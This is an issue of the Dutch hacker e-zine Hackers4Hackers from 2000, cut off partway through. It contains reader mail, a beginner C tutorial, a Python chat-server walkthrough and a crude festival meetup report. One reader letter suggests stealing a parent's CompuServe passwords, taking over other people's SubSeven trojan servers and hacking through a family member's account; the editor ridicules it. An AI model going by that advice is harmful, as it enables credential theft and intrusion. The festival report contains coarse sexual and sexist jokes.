___ ___ _____ ___ ___ / | \ / | | / | \ / ~ \/ | |_/ ~ \ \ Y / ^ /\ Y / \___|_ /\____ | \___|_ / \/ |__| \/ +-+-+-+-+-+-+-+ +-+ +-+-+-+-+-+-+-+-+-+-+ |h|a|c|k|e|r|s| |4| |h|a|c|k|e|r|s| |0|A| +-+-+-+-+-+-+-+ +-+ +-+-+-+-+-+-+-+-+-+-+ http://www.hackers4hackers.org '05-07-2000', Momenteel 814 lezers. Om je aan te melden bij de maillijst kan je een mailtje sturen naar subscribe@hackers4hackers.org met als titel "subscribe h4h emailadres" Of je kan je online aanmelden op http://www.hackers4hackers.org Artikelen en dergelijke kun je mailen naar post@hackers4hackers.org. Vragen kun je mailen naar de desbetreffende auteur of ook naar post@hackers4hackers.org. Uitspraak: [Masta-N: Ik heb een nieuwe gayway] Enkele interessante sites: http://itris.eu.org http://www.security.nl http://www.hit2000.org http://hier.is/Triples http://www.whatis.com http://viper.dmrt.com http://www.klaphek.nl http://www.hack.vuurwerk.nl http://kickme.to/hackfaq http://www.startplaza.nu http://www.dsinet.org http://www.satl.com/c/hackerHOWTO.html http://packetstorm.securify.com/docs/hack/i.only.replaced.index.html.txt Leuke kanaaltjes op IRCnet: #h4h #hit2000 #nlcoders 01. Disclaimer............................................... (Redactie) 02. Inleiding................................................ (Redactie) 03. Lezerspost............................................... (Redactie) 04. C........................................................ (Tozz) 05. Chatserver schrijven in Python........................... (A[r]TA) 06. Verslag meeting Pinkpop.................................. (pippitaal) 07. Hoe en Wat SSH........................................... (GrAzEr1) 08. Evenementen.............................................. (Redactie) 09. Gratis bellen met een nokia ???.......................... (Berry) 10. Extension on old PHF bug................................. (drgenius) 11. Eindwoord................................................ (Redactie) ------------------------------------------------------- 01. Disclaimer ------------------------------------------------------- We zijn niet verantwoordelijk voor datgene wat jullie met deze informatie doen. Deze informatie dient alleen voor educatieve doeleinden. Als je in problemen komt, kan je ons niks verwijten. Gebruik maken van deze informatie kan strafbaar zijn. Meningen van auteurs hoeven niet hetzelfde te zijn als die van de redactie. Correspondentie met de redactie is mogelijk per email : Algemeen - post@hackers4hackers.org Asby (Hoofdredacteur) - asby@hackers4hackers.org Berry (Website + Eind redactie) - berry@hackers4hackers.org Tozz (Redactie) - tozz@hackers4hackers.org Viper (Redactie) - viper@hackers4hackers.org Nighthawk (Redactie) - nighthawk@hackers4hackers.org ------------------------------------------------------- 02. Inleiding ------------------------------------------------------- De redactie van h4h wil na de geslaagde meeting op pinkpop (verderop in dit nummer een verslag daarvan) ook een meeting gaan houden op lowlands, We hopen je daar te zien. voor meetings hebben we een nieuw email adres : h4h-meeting@hackers4hackers.org, op dit adres kan er gemaild worden voor aanmeldingen of informatie met betrekking tot de meetings die wij organiseren. De uitslag van de Adframe poll is als volgt geworden: Title: Adframe hack lame of niet - WTF is Adframe?? - 32.2% - (49 Votes) - Was geen eens een echte hack - 28.9% - (44 Votes) - Ontzettend, heeft niks met hacken te maken - 15.1% - (23 Votes) - De 'hackers' geven de hackscene een slechte naam - 13.1% - (20 Votes) - Goed voorbeeld van een echte hack - 10.5% - (16 Votes) Totaal aantal stemmen: 152 Voor degene die de discussie in de nieuwsgroepen alt.hit2000.nl en alt.hack.nl niet hebben gelezen, raden wij www.deja.com aan om dit alsnog na te zoeken. De nieuwe lopende poll gaat over ons meeting gedrag ;) Title: Hackers 4 Hackers moet vaker meetings houden -Ja vaker meetings... Maar dan wel grote (met computer) 54.9% -Ja vaker meetings... Ze hoeven niet groot te zijn, Gewoon elkaar regelmatig zien enzo. 24.5% -Nee, Meeting nergens voor nodig. 14.7% -Ja vaker meetings... Maar dan wel grote (zonder computer) 5.8% Deze poll loopt nog dus er kan nog gevote worden. Dus breng je stem uit op: http://www.hackers4hackers.org/cgi-bin/poll.cgi Overigens betekend de uitslag niet dat we er ons aan gaan houden ;) We zoeken eigenlijk ook nog iemand die iets wil schrijven over zijn of misschien wel haar vakantie werk in de IT wereld. Verder wensen iedereen veel leesplezier toe en mochten er op of aanmerkingen zijn, Surf dan even naar onze website en vul het in bij commentaar. De redactie ------------------------------------------------------- 03. Lezerspost ------------------------------------------------------- hey, [dagdag] What tha fuck is coldfusion????? [Een webserver-add-on (ofzo), neem een kijkje op www.allaire.com] see ya [groeten aan je moeder] -- Haliehalo! [hoi?] he wat was dat nou psies met adframe? [niets... helemaal niets... $$$] danku! [geen dank] everest [die van.. mount?] -- Hoi [ook goedemiddag] Eerst zal ik me eens voorstellen, ik ben Builder, [Ik ben Tozz, aangenaam] ik heb jullie gevonden via nighthwak, die ooit eens een stunt heeft uitgehaald op onze irc server in #drooms toen is er het een en ander uitgepraat, en vertelde hij ook over deze site, ik ben hier toen eens gaan kijken, en heb weer wat bijgeleerd, [uiteraard heb je wat geleerd... dat spreekt voor zich ;P] maar nou heb ik een vraag, het gaat weleens over irc. en dan over kanalen als #chatlord enzo, maar er staan nooit servers bij, dus kunnen jullie mij de server eens mailen? [De meeste gebruikte servers zijn o.a.: irc.xs4all.nl irc.nl.uu.net irc.stealth.net en zo zijn er velen] ik hoop tot mails [lezerspost ook goed?] -- he brute gasten bij H4H [haaaai] mocht je pa compuserve hebben.rip dan ze paswoorden en zorg dat hij de maand later een rekening van 5 mijer in de bus krijgt [Mijn pa heeft helemaal geen internet en ook al had hij dat dan zou ik hem geen compuserver aanslepen. En hij krijgt elke maand al een rekening van 5 mijer in de bus maar dat komt omdat ik zo veel zit te internetten.. En waarom zou ik z'n paswoorden rippen? Maarja, jij bent natuurlijk zo'n mega 31337 H4X0R met een pappie die meer van pc's weet dan jou en die dus jou'n internet regelt] als je veel hackt doe het dan via het internet abbonement van je moeder zodat zij straks verwijderd wordt.dan blijft je eigen e-mail adres tenminste bestaan [aah, dus we hebben een account voor ieder familielid? Nee, dat is logisch dan kunnen ze tenminste onderscheiden of je vader, moeder of zusje www.microsoft.com gekraakt heeft natuurlijk!] mocht een of andere lamer je een ip sturen van bijv. een sub7 server RIP hem dan onimddelijk en zorg dat andere er niet opkomen.dat maakt hacken net ietsjes makkelijker. [dank voor de tip! Alleen waarom stuurt niemand mijn IP's met sub7 servers op eigenlijk? Misschien zit ik wel niet in de core van de 31337 H4X0R scene!] als je zit te hacken met trojans enzo neem dan SUBSEVEN en geen netbus !!!!!!!!! [ja maar als.. ach, laat ook maar.. vast te hoog gegrepen voor mij] mocht je iemmand hacken die kinderporno op ze pc heb geen hem dan aan bij meldpunt kinderporno !!!!!!gnagna :-p [Hmm, jij bent wel een boer he? 'op ze pc heen hem'.. maarja.. we kennen natuurlijk nait alles hebben he? maar dan most du toch us vertellen, hoest dan mienjong?] voor de rest wil ik alleen maar zeggen dat Hackers4Hackers een kankerbrute site is !!!!!!!!!!!!!!!! [Uiteraard, wij zijn er dan ook trots op dat onze site volledig flash-loos is en 100% Lynx compatible!] jullie zullen die mailtje waarschijnlijk wel gruwelijk afkraken net als de rest van de lezerspost maar dat kan me geen zak schelen :-p [Uiteraard, gelukkig vind je het niet erg want anders ga je mij misschien nog wel haxoren natuurlijk!] mzl, groeten , 33N 16 J4RIG3 H4CK3R [Daaag, ik had je jonger geschat eigenlijk!] -- hallo, [hoi] kan iemand me a.u.b. helpen bij het patchen van birmy rip 5.1 ik heb een keer bryce 4.0 gepatched maar ik weet niet meer hoe het moet. [Aah, je kan al bijna net zulke goede smoesjes bedenken als al die gasten met hun ex- vrienden die hun hotmail gekraakt hebben, maar zelf kunnen ze het niet] p.s. het is voor de mac [Linux is er ook voor de mac, wist je dat wel?[ -- hoi [hoi] ik ben een newbee en ik zou heel graag willen weten wat je nodig hebt en wat je moet weten om te hacken [zucht.. Ok, stap 1: ga alle RFC"s maar lezen, kom dan maar terug] -- He berry [, fout geantwoord, u gaat niet door... Nee, dit is dus tozz] ik had een vraagje ; [zoals zovelen] HOE KOMT HET DAT IK ZO GOED ALS ELKE WEEK VAN DIE MAILING LIST GEDONDERD WORD ? [ Om een lang verhaal kort te maken: een paar mogelijkheden: * Je mailbox zit vol (user is over quota) * Mailserver ligt plat * DDS ziet het aan voor spam Berry is hier mee bezig geweest en hopelijk is het nu opgelost] I just needed to get this off my chest ! Aaah i feel a lot better now,thanxz ! hier was /ben ik dus niet zo blij mee ! [Ik heb er ook last van gehad!] Voor de rest ga zo door met het blad ! [doen we! :)] Groetjes kINg DiS [doegie] -- Hallo [Dag dag] ik was geintressert in hackken en ik uwe geds gevonden maar met telnet krijg ik nooit verbinding. [Jammer joh!] Wat kan ik doen om dit op te lossen? [Ik zou proberen om een server te vinden die telnet open heeft staan! Helaas zijn dit er niet zo super veel :)] -- Hallo redactie van de H4H (of wie dit ook leest)..... [Alle lezers dus ;P] Ik ben Bolleuh en ik had een vraagje, weten jullie ook iets van het hacken van hotmail??? [Adem in, adem uit, adem in... ] Ja ik weet dat het bijna niet mogelijk is enzo en dat het misschien een vaak gestelde vraag is waar ik heb zitten zoeken op internet over het hacken van hotmail maar alles wat ik vond waren txt files uit het jaar nul dus die werken niet meer ik dach mischien weten jullie iets meer. [Ja, het is wel degelijk mogelijk, maar van de FBI mag ik die text file met de xploit niet vrijgeven want dan gaat Microsoft mij aanklagen want die betalen mij nu ieder uur dat ik die xploit niet release! blablablablabla i.a.w: Accepteer nu eens dat het gewoon niet kan!] Btw weten jullie ook nog een paar goede sites??????????? [eeuh staat bovenaan H4H] Na ik hoor het hopelijk wel via een e-mail of mischien via icq me nr is 124xxxxx [lezerspost ook goed?] -- vraagie [Ben benieuwd.. weer hotmail?] kan ik op mijn pc een map beveiligen? hiermee bedoel ik dat je de map opent dat hij een wachtwoord vraagt. Heb in een vorige h4h al eens gelezen over linken naar een ander bestand, maar dan kan je nog altijd vinden, begrijp je. [Windows '9x kan dit niet, NT heeft wel een soort gelijk iets daarmee kan je rechten opgeven (net als met UNIX) maar dan moet je je schijf wel als NTFS geformatteerd hebben, met een FAT disk kan dit dus weer niet enzo] ennuhn nog iets. Kun je redhat linux vanaf je schijf installeren? [Ja] binnenkort: www.bengopage.com, heb dit adres gratis verkrege bij namezero. [Ja, namezero is popi!] Je krijgt dan wel zo'n grote kutbanner onderaan de site, heb uitgezogd hoe je die wegkrijgt en ben tot de volgende oplossing gekomen: -login je controlpanel (bv. controlpanel.bengopage.com) -kijk in je HOMECHANNEL en klik daar op CHANGE -je zet in de DESCRIPTION textarea volgende code: Hier je beschrijving"> [Kijk, eindelijk lezerspost met iets nuttigs! NU kijken wat NameZero gaat doen als alle lezers hun NameZero banner ineens weghalen ;p] nou, gratis domein zonder kutbanner. [perfect!] nog iets, ben van plan geweest een firewall aan de site te zetten, maar weet niet goed hoe dit werkt. Moet je hem dan gewoon uploaden? [Wat? een firewall aan de site? ] ------------------------------------------------------- 04. C ------------------------------------------------------- CH02_1. Zo, eindelijk een vervolg. Dit vervolg is weer uit 99.9% gebaseerd op het boek 'Teach yourself C in 24 hours' by Sams Publishing. (Vanaf nu afgekort als TYCI24H) De vorige keer heb je de basics geleerd over C, en we gaan nu onze eigen procedures en functies schrijven. Procedures en functies zijn heel erg handig omdat het veel 'dubbel typen' voorkomt, en daardoor wordt het programma ook sneller omdat de executable file kleiner is. In het algemeen gebruik je procedures om vaak voorkomende handeling te bundelen. En dat bundeltje is overal aan te roepen. Een functie gebruik je meestal om een berekening te kunnen maken. Je zou bijvoorbeeld een functie 'worteltrekken' maken, die de wortel van een bepaald getal uitrekent. Een mooi voorbeeld voor een procedure is de init procedure. In de 'initialisatie' procedure worden alle integers op bepaalde waarden gereset. Dit is handig als je een spel gaat programmeren en je wilt 'nog een keer spelen', dan roep je de 'init' procedure aan en alles is gereset. Omdat je vooral in functies veel met variabelen gaan werken, zal ik dit eerst nog even wat duidelijker uitleggen. Een variabele is een stukje geheugen met een label, in dit stukje geheugen kan van alles staan (dat ligt aan het type variabel dat je defineert). Dat label heet 'identifier', en dat is de naam van een bepaalde variabel. Je kan bijvoorbeeld een variabel 'getalletje' hebben van het type 'integer'. Zoals je ziet kan een integer alleen maar bestaan uit hele getallen, je kan met een integer dus *niet* delen, omdat daar altijd een floating point (komma getal) uit komt. Maar aan de andere kant kan je geen array's (ik leg later wel uit wat een array is) defineren met een real, omdat er tussen 1.0 en 1.1 oneindig veel nummers zitten. Je kan met variabelen ook gewoon rekenen alsof het gewone getallen zijn (mits de variabel uit een cijfer reeks bestaat, met een 'string' (tekenreeks) kunnen we dus *niet* rekenen). Je kan dus dit doen: getalletje = 10; maar ook: getalletje = 11 * 22; en getalletje = (11 / 3) * (5 + 1); En je kan ook met meerdere variabelen rekenen, stel je hebt de variabelen van het type integer getal, getalletjes en getallen; dan kun je iets doen als: getal = getalletjes * getallen; Om de compiler duidelijk te maken wat nu bij de procedure/functie hoort moeten we ook bij functies en procedures gebruik maken van de brackets { en }. Omdat een functie ook een waarde terug kan geven (je kan een functie heel goed vergelijken met een 'machinetje' dat je bij Wiskunde geleerd hebt, je stopt er iets in, en er komt iets uit) Je moet dus opgeven wat voor data type je erin stopt, maar ook wat er weer uit komt. het type dat er uitkomt is dus de 'function's type'. Ook zijn er regels gebonden aan de namen die je functies, variabelen en procedures geeft. ze mogen *niet*: * beginnen met een nummer * beginnen met een * (Asteriks) * beginnen met een + (Addition) * beginnen met een . (punt) * ergens een '-' (min) teken bevatten. b.v. totaal-aantal is dus *FOUT*!. * mag geen apostropfe inzitten! b.v. jaar'00 is dus *FOUT*!. Een aantal goede voorbeelden: xs4all tozz_is_crazy _mail_me x3 Zoals al eerder verteld heeft een functie een 'input' en een 'output'. Je moet ook de types van de 'input' opgeven. Dit moet tussen de 2 haakjes ( en ). Het is toegestaan om dit leeg te laten, maar het is niet gebruikelijk. Een voorbeeld functie: (de nummers staan voor de regel nummers voor de latere uitleg) 1: /* Telt 2 variabelen van het type integer bij elkaar op. */ 2: int optellen( int a, int b ) 3: { 4: int result; 5: result = a + b; 6: return result; 7: } Nu een stap-voor-stap uitleg per regel. 1: Simpel commentaar, ik gebruik dit altijd om een korte duidelijke omschrijving van de functie/procedure te geven. 2: het 'aanmaken' van de functie. Het gaat hier om een functie van het type 'integer' (in C wordt integer afgekort met 'int'. dus eigenlijk staat er: integer optellen( int a, int b ). Verder heeft de functie 2 'input' waardes, die worden tijdens de functie opgeslagen in de variabele a en de variabele b. 3: Opening-bracket, dit geeft aan dat het statement-block begonnen is, en alle opdrachten tussen { en } horen dus bij deze functie. 4: definieer de variabel result van het type integer 5: tel de waarden van de variabelen a en b bij elkaar op en zet de uitkomst in de variabel 'result' 6: De 'output' van de functie is de waarde van de variabel 'result'. 7: closing bracket, einde van dit statement-block. Ok, leuk zo'n functie.. maar hoe gebruik je zo'n ding nu dan? Nou, heel simpel.. Het aanroepen van een functie noemen we 'function calls'. -- Let op: Een functie moet altijd boven het hoofdprogramma staan omdat als je hem onder het hoofdprogramma zet de functie niet bekend is bij het hoofdprogramma. Immers, de compiler heeft hem nog nooit eerder gezien. -- Een voorbeeld (ik gebruik hier weer de functie die we net gemaakt hebben: optellen). 1: /* Voorbeeld van een functie */ 2: #include 3: /* Telt 2 getallen bij elkaar op */ 4: int optellen( int a, int b ) 5: { 6: int result; 7: result = a + b; 8: return result; 9: } 10: 11: int main() 12: { 13: int sum; 14: 15: sum = optellen( 5, 12); 16: printf("Als je 5 en 12 bij elkaar optelt da krijg je: %d.\n", sum); 17: return 0; 18: } Weer even een stap-voor-stap uitleg: 1: commentaar 2: gebruik de library 'stdio.h', deze heb je altijd nodig. Hier staan de standaard functies/procedures in als printf enzo. 3: commentaar 4: Maakt een functie aan van het type integer en noemt deze functie 'optellen', met 2 integers als input en wel de variabelen a en b. 5: opening bracket, begin statement-block 6: maak een nieuwe variabele aan van het type integer en noem deze variabele 'result'. 7: tel de waarden van de variabelen a en b bijelkaar op en zet de uitkomst in de variabel result. 8: geef de waarde van de variabel result als uitkomst (output) bij de functie. 9: closing bracket, einde statement-block van de functie 'optellen'. 11: begin het hoofd programma, deze is van het type integer (main() is standaard van het type integer) 12: opening bracket, begin statement-block 13: maak een variabel van het type integer en noem deze sum. 15: * LET OP * Zet de uitkomst van de functie 'optellen' in de variabel 'sum'. En geef als input aan de functie de getallen 5 en 12. 16: Bouw een mooi verhaaltje om de uitkomst heen en zet dit op het scherm 17: geef de waarde 0 als output aan de functie main. 18: closing bracket, einde statement-block, en omdat dit het einde van het statement-block van de functie main is betekent dit oko het einde van het programma. Je vraagt je misschien wat die %d betekent.. Die %d wordt vervangen door de 2e variabel binnen printf (en dit geval is de 1e variabel alles tussen " en " en de 2e variabel is hier dus 'sum'). Die %d bepaald o.a. in welk formaat de variabel 'sum' op het scherm gezet wordt. Meer details over %d komen later. Als je dit programma zou compileren, en dat doen we natuurlijk, en je voert het uit dan krijg je dit als output: [compilen] gcc 1efunctie.c -o 1efunctie [draaien (onder linux)] ./1efunctie [output] Als je 5 en 12 bij elkaar optelt dan krijg je: 17. CH03_D CH04_N We gaan het nu hebben over nog een aantal data types. Want jawel, er is meer dan alleen de integer. Je hebt naast de integer ook nog: char float double Iedere taal heeft zogenaamde 'gereserveerde woorden', deze woorden mag je zelf als programmeur niet gebruiken als namen voor procedures, functies, variabelen, constanten, e.d. C heeft 32 van deze gereserveerde woorden. En dat zijn de volgende: (rechtstreeks uit TYCI24H) auto Storage class specifier break Statement case Statement char Type specifier const Storage class modifier continue Statement default Label do Statement double Type specifier else Statement enum Type specifier extern Storage class specifier float Type specifier for Statement goto Statement if Statement int Type specifier long Type specifier register Storage class specifier return Statement short Type specifier signed Type specifier sizeof Operator static Storage class specifier struct Type specifier switch Statement typedef Statement union Type specifier unsigned Type specifier void Type specifier volatile Storage class modifier while Statement Omdat C een hoofd-letter-gevoelige taal is, mag je 'auto' dus niet als een procedure naam gebruiken, maar Auto bijvoorbeeld weer wel. Maar AuTo, aUto, auTo, autO, AutO, e.d. zijn allemaal toegestaan. We gaan even duidelijker naar de data typen char, float en double kijken. Een char - de naam zegt het al - is een character, dus een karakter. Dat betekent dat in een karakter ieder karakter kan staan dat in de 'karakter-lijst' staat. Vroeger hadden de meeste computers maar 128 tekens (7 bits, namelijk 2^7 is 128) terwijl de huidige IBM-compatible machines 256 karakters hebben (8 bits, namelijk 2^8 is 256). Je kan een variabele van het type char als volgt declareren (declareren betekent toewijzen of aanmaken) char variabelenaam; en als je er meerdere wilt aanmaken dan kan dat als volgt: char variabelenaam1; char variabelenaam2; char variabelenaam3; maar handiger is misschien: char variabelenaam1, variabelenaam2, variabelenaam3; Herrinering: constantes zijn eigenlijk net variabelen alleen kan je ze niet meer wijzigen, ze worden 1x vastgesteld en daarna is er niets aan de wijzigen. Maar je kan ook een char gebruiken als je constantes gaat toewijzen. Een karakter tussen 2 ` en ' noemen we een constante. Bijvoorbeeld x = `a'; Gerelateerd hieraan is het escape karakter (27), die heb je al gezien in het vorige deel, bij printf waar we /n gebruiken om een harde return te geven. Behalve /n heb je er nog een paar: /b Verplaatst de cursor 1 karakter naar links /f 'form-feed', gaat naar de bovenkant van een nieuwe pagina. /r return character, gaat naar het 1e karakter van de huidige regel. /t tab, gaat naar de volgende tab stop. En je hebt ook al wel eens van %d gehoord (print integers bij het gebruik van printf!), zzo heb je ook %c, het enige verschil is dat %d gebruikt wordt bij integers, en %c bij characters. Voorbeeldje: 1: /* 04L01.c: Print chars */ 2: #include 3: 4: main() 5: { 6: char c1; 7: char c2; 8: 9: c1 = `A'; 10: c2 = `a'; 11: printf("Convert the value of c1 to character: %c.\n", c1); 12: printf("Convert the value of c2 to character: %c.\n", c2); 13: return 0; 14: } Aangenomen dat je het belangrijkste nu wel zo'n beetje snapt sla ik sommige dingen over 9: zet het karakter 'A' (zonder aanhalingstekens) in de variabele c1. 10: zet het karakter 'a' (zonder aanhalingstekens) in de variabele c2. 11: Zet de regel tussen " en " op het scherm, en vervang %c met c1. 12: Zet de regel tussen " en " op het scherm, en vervang %c met c2. Als je dit compiled en uitvoert dan krijg je: Convert the value of c1 to character: A. Convert the value of c2 to character: a. Nu even iets leuks, we halen nog even het voorbeeldje erbij: 1: /* 04L01.c: Print chars */ 2: #include 3: 4: main() 5: { 6: char c1; 7: char c2; 8: 9: c1 = 65; 10: c2 = 97; 11: printf("Convert the value of c1 to character: %c.\n", c1); 12: printf("Convert the value of c2 to character: %c.\n", c2); 13: return 0; 14: } Zoals je ziet hebben we nu geen karakter ingetypt, maar hebben we het nummer van het karakter gegeven. (note: het getal 65 in de karakter-lijst staat voor A en 97 voor a). En let nu op, je denkt misschien dat als je dit uitvoert dat er dit komt te staan: Convert the value of c1 to character: 65. Convert the value of c2 to character: 97. Dat is dus niet waar, immers.. een variabele van het type char kan maar 1 karakter bevatten, en 65 zijn al 2. Dus wat er hier gebeurd is het volgende: in de karakter-lijst wordt opgezocht welk karakter op de 65e plaats staat, en dat is het karakter 'A'; en DAT is hetgene dat op het scherm komt. Dat was het voor deze keer, ik zal proberen om voor de eerst volgende H4H weer een release klaar te hebben maar ik heb het druk. CH04 4.2 Bye, Tozz (tozz@hackers4hackers.org, comments are more than welcome). ------------------------------------------------------- 05. Chatserver schrijven in Python ------------------------------------------------------- -Inleiding -Beschrijving van de opzet -De broadcast functie -De main loop Voor meer info over Python kijk op: www.python.org starship.python.net -Inleiding- Hej, daar ben ik weer. Een leuk artikeltje over Python moest er maar weer de deur uit. Dit artikel is eigenlijk een letterlijke vertaling van de chatserver-code en uitleg die Ka-Ping Yee mij eens stuurde, maar dat maakt niet uit. :P Voor degene die niet meer weet wat Python is verwijs ik hem/haar naar de vorige H4H's waar ik ook een artikeltje over Python in heb geschreven. -Beschrijving van de opzet- Als je een chatserver wil maken moet je ervoor zorgen dat de server in een loop kijkt of er nieuwe berichten zijn binnengekomen of er mensen zijn gejoined of hem zijn gepeerd of dat er bepaalde commando's gegeven worden. Dit kan niet zomaar in Python. Hiervoor moet je de select-module gebruiken. Deze kijkt naar de voltooiing van de I/O-operatie. We beginnen zo: Eerst worden er enkele modules geimporteerd. import socket, string, select Hierna worden de hostname en port gedefineerd. De host is gewoon localhost dus daar hoeft niets ingevuld te worden. Voor de poort nemen we 5007. HOST, PORT = '', 5007 Hieronder defineren we welke manier van data-versturing we gebruiken. Kijk voor meer info hierover in de Python-manuals. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.bind((HOST, PORT)) s.listen(1) Voor elke nieuwe connectie wordt er een naam aan de socket geschreven. Die wordt opgeslagen in een zogeheten dictionary. Hieronder definieren we hem. socknames = {} Voor meer info over dictionarys en andere Python-specifieke datatypes kijk in de Python-reference die bij je gedownloade package zit of op www.python.org -De broadcast functie- Natuurlijk moeten we een functie hebben waarin een bepaalde text, naar iedereen in de chatbox gestuurd moet worden. Dat gebeurd met de volgende functie. Eerst wordt de naam van de functie en de doorgeefvariabelen gedefineerd. def broadcast(message, sender): Dan kijkt hij welke socket de zender van het bericht is. Is het diegene dan wordt de text er niet naar toegezonden. De desbetreffende persoon heeft de text toch al ingetypt op zijn eigen pc! Hij zoekt dus de sockets op in de dictionary. for sock in socknames.keys(): if sock is not sender: sock.send(message) -De main loop- Eerst kijkt de loop of er nog nieuwe connecties zijn gemaakt. Zo ja, dan slaat hij ze op in de dictionary socknames. Middels de module select ga je kijken welke sockets iets gestuurd hebben, iets willen ontvangen of dat er nog errors zijn. Het vierde argument van de select.select functie is een time-out in seconden. Die willen we echter niet gebruiken. Dus vullen we hier None in. while 1: nums = [s.fileno()] for sock in socknames.keys(): nums.append(sock.fileno()) rd, wr, ex = select.select(nums, [], [], None) Hierna is er gekeken dmv select of er iets gebeurd is. Zo ja, dan wordt er in de lijst rd gekeken welke sockets iets gestuurd hebben. for n in rd: if n == s.fileno(): Als dit gebeurd is hebben we een nieuwe connectie en wordt hij in de dictionary gezet. Eerst vragen we hem om zijn naam in te voeren. sock, addr = s.accept() socknames[sock] = None sock.send("Hello! Please enter your name.\n") else: Gebeurd dit niet dan heeft iemand wat gezegt op een bestaande verbinding. Met de volgende loop wordt gekeken welke verbinding dit was, door in de sockets van de dictionary te kijken. for sock in socknames.keys(): if sock.fileno() == n: break name = socknames[sock] Hierna gaan we kijken wat er was gezegd. Voor de simpelheid nemen we aan dat iedereen per keer 1 regel text invoert, zodat we gewoon een newline kunnen verwachten als de invoer klaar is. We gebruiken de make-file methode hier, zodat we de goede readline hebben en de informatie kunnen uitlezen. text = sock.makefile().readline() if not text: Als er een lege string wordt gereturned van readline dan is de verbinding gesloten. Dit moeten we ffkes aan iedereen laten weten en dan de socket + name uit de dictionary verwijderen. broadcast("%s has left.\n" % name, sock) sock.close() del socknames[sock] elif name is None: Als er iets is gezegd, maar de naam is nog niet opgeslagen, dan heeft die persoon zijn naam in getypt. Deze wordt dan opgeslagen in de dictionary en de client wordt welkom geheten. name = string.strip(text) socknames[sock] = name sock.send("Thanks! Welcome to the conversation.\n") broadcast("%s has arrived.\n" % name, sock) else: Hierna heb je een naam en is er iets gezegd dan moet dat naar iedereen gezonden worden middels de functie broadcast. broadcast("%s: %s" % (name, text), sock) Klaar. Dat was het al. * * * Hier is het volledige script: import socket, string, select HOST, PORT = '', 5007 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.bind((HOST, PORT)) s.listen(1) socknames = {} def broadcast(message, sender): for sock in socknames.keys(): if sock is not sender: sock.send(message) while 1: nums = [s.fileno()] for sock in socknames.keys(): nums.append(sock.fileno()) rd, wr, ex = select.select(nums, [], [], None) for n in rd: if n == s.fileno(): sock, addr = s.accept() socknames[sock] = None sock.send("Hello! Please enter your name.\n") else: for sock in socknames.keys(): if sock.fileno() == n: break name = socknames[sock] text = sock.makefile().readline() if not text: broadcast("%s has left.\n" % name, sock) sock.close() del socknames[sock] elif name is None: name = string.strip(text) socknames[sock] = name sock.send("Thanks! Welcome to the conversation.\n") broadcast("%s has arrived.\n" % name, sock) else: broadcast("%s: %s" % (name, text), sock) * * * Wil je de client zelf schrijven? Kijk maar goed naar de bovenstaande code en dan moet je er wel uit zien te komen. Voor meer info kijk eens ff op www.python.org of starship.python.net. Dit is niet mijn werk. Het is alleen maar een vertaling van een mail die ik heb gekregen van Kai Ping Yee dus als je me echt diep erop ingaande vragen gaat stellen, zal ik proberen ze te beantwoorden, maar daar kan ik niet met een zeker ja op antwoorden. Of vraag het anders ff in de python-NG. A[r]TA arta@x-stream.nl ------------------------------------------------------- 06. Verslag meeting Pinkpop ------------------------------------------------------- PINKPOP 2000 Whores, Gays, sync-'s and the self-inflating woman.... the cast: N|ghthawk aka thijssie aka scenegay Pippitaal aka irmpje aka sienwhore Asby aka superbas aka masterscout sync- aka damientje aka M00 aka brak Ivo_ aka ivootje aka superzuiper jewie aka ivo II aka ivo ivo Dugo aka jakobje aka superblower superboring aka superboring aka superboring superboring II aka superboring II aka superboring II op schoolreisje met meester bas..... Meesterorganisator Bas had het allemaal prima geregeld, niemand had een kaartje, die had hij allemaal! braverikje sync kwam uren te vroeg, uitslapers dugo en pip uren te laat en de superborings stonden gewoon op de verkeerde camping. Dus alles prima tot zover. nadat de tenten allemaal stonden (met 5 man een 2 persoonstentje opzetten werkt dus niet!) werden ze allemaal gedoopt. We hadden : 1/ sextent 2/ ruktent 3/ gaytent 4/ zuiptent 5/ slaaptent!!!! 6/ boringtent Deze tenten konden naar behoefde gebruikt worden en daar werd door sommigen wat al te enthousiast mee omgegaan! Op de gaytent zaten na 1 nacht de witte vlekken al aan de buitenkant!!!! De geur van dierlijke afscheiding in de sextent was heftag en de berg blikjes voor de zuiptent was ook al snel niet meer te overzien. Uiteraard was de slaaptent niet echt populair en over ruktent durf ik me niet uit te laten (sync is irl nogal groot namelijk :-)) De eerste avond op het festivalterrein was top. Pip werd geheel en al tegen haar wil bovenop the crowd gelegd en eindigde een flink aantal meters verder met een zeiknatte broek op de grond, *plof* auch. Ivo en asby doken bruut de pit in bij Guano Apes om zich even later verhit weer bij ons te voegen, en oasis was klote (hoe kan het ook anders). De "geweldige" Wanadoobus ging om 22:00 al dicht!!! dus onze geweldig verzonnen nicks; pipondug, hawkonasbyonsync enz. konden we helaas weer vergeten. Terug op de camping werd overwogen een klacht in te dienen tegen de verkoop van die typhus-, tering-, oranje-TOETERS maja dat durfde ze natuurlijk weer niet...... Overigens douchen om 02:00 uur 's-nachts roels dus echt wel he!! De volgende dag kwamen we allemaal wat moeilijk op gang. DNA tests werden afgenomen om de eigenaar van de vlekken op de gay-tent te detecteren, er werd nieuw bier gescoord en.... de pindakaas die pipje had meegenomen (waar ze ijskoud om uitgelachen werd) was leeg!! Tijd voor een uitgebreide brunch. Je hebt tenslotte een flinke basis nodig om lekker te kunnen feesten. Darkje werd getraceerd en kwam sprintend onze tent zoeken toen ie hoorde dat daar baco te halen was, uiteraard niet zonder eerst, bij volslagen vreemden, een jointje meegerookt te hebben. voorleesuurtje met Dugo onder het genot van alcohol, wiet, zon en chips ging duugje voortvarend van start..... WHAT YOU SHOULD KNOW WHEN YOU BUY A SELFINFLATING-WOMAN <--- titel Her performance depends greatly on how and how long she is stored. This is because of the specific chemical tructure of the filaments that the inner woman is made of. When you roll or squeeze the woman and then release her, the woman that forms her nucleus "remembers" the initial position and tends to return to it. If she is kept compressed for to long she will lose here memory. Technicians speak of the hysterical cycle of women to explain this behavior. GUARANTEE All women are individually tested and guaranteed for unlimited time against defects of materials and workmanship. INFLATABLE WOMAN CARE Be sure that the surface of the woman is clean and dry and that the valve is open before storing her in a well-aired place. If possible leave her in a horizontal position. Always use soapy water to clean the woman, never organic dissolvents. CAUTION The woman is designed for sleeping inside the tent or on a surface that will protect her from sharp objects. When the woman is inflated protect her from the sun's rays and from any source of heat that could damage her. During hotter hours inside the tent, avoid any excess pressure by opening the valve.... USE To inflate: open the valve and spread the woman out. she will gradually inflate herself. The speed with which it does so depends on how long she has been 